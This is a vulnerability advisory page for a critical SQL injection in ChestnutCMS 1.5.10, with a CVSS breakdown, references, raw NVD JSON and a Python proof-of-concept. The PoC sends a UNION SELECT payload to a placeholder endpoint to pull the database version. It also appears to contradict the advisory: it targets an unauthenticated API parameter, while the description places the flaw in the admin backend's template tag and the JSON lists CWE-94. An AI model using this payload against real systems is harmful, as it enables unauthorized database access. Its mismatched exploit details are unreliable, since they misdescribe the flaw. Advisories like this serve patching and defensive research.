CVE-2026-36458

Description

ChestnutCMS v1.5.10 has a SQL injection vulnerability. The content parameter of the cms_content tag can be manipulated in the admin backend and injected into a SQL query when the template is rendered.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ChestnutCMS <= 1.5.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-36458 - ChestnutCMS SQL Injection
import requests

target_url = "http://target-url/cms/api/render"  # Replace with actual target
# Malicious payload to extract database version
payload = "1' UNION SELECT 1, version(), 3, 4-- -"

params = {
    "content": payload
}

try:
    response = requests.get(target_url, params=params)
    if response.status_code == 200:
        print("[+] PoC executed successfully. Check response for DB version.")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-36458
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-36458
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-36458/
[4] VulDB https://vuldb.com/cve/CVE-2026-36458
[5] https://github.com/errors11/CVE/blob/main/CVE-2026-36458.md
[6] https://github.com/liweiyi/ChestnutCMS.git

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-36458", "sourceIdentifier": "[email protected]", "published": "2026-05-07T15:16:05.523", "lastModified": "2026-05-08T23:16:35.313", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChestnutCMS v1.5.10 has a SQL injection vulnerability. The content parameter of the cms_content tag can be manipulated in the admin backend and injected into a SQL query when the template is rendered."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/errors11/CVE/blob/main/CVE-2026-36458.md", "source": "[email protected]"}, {"url": "https://github.com/liweiyi/ChestnutCMS.git", "source": "[email protected]"}]}}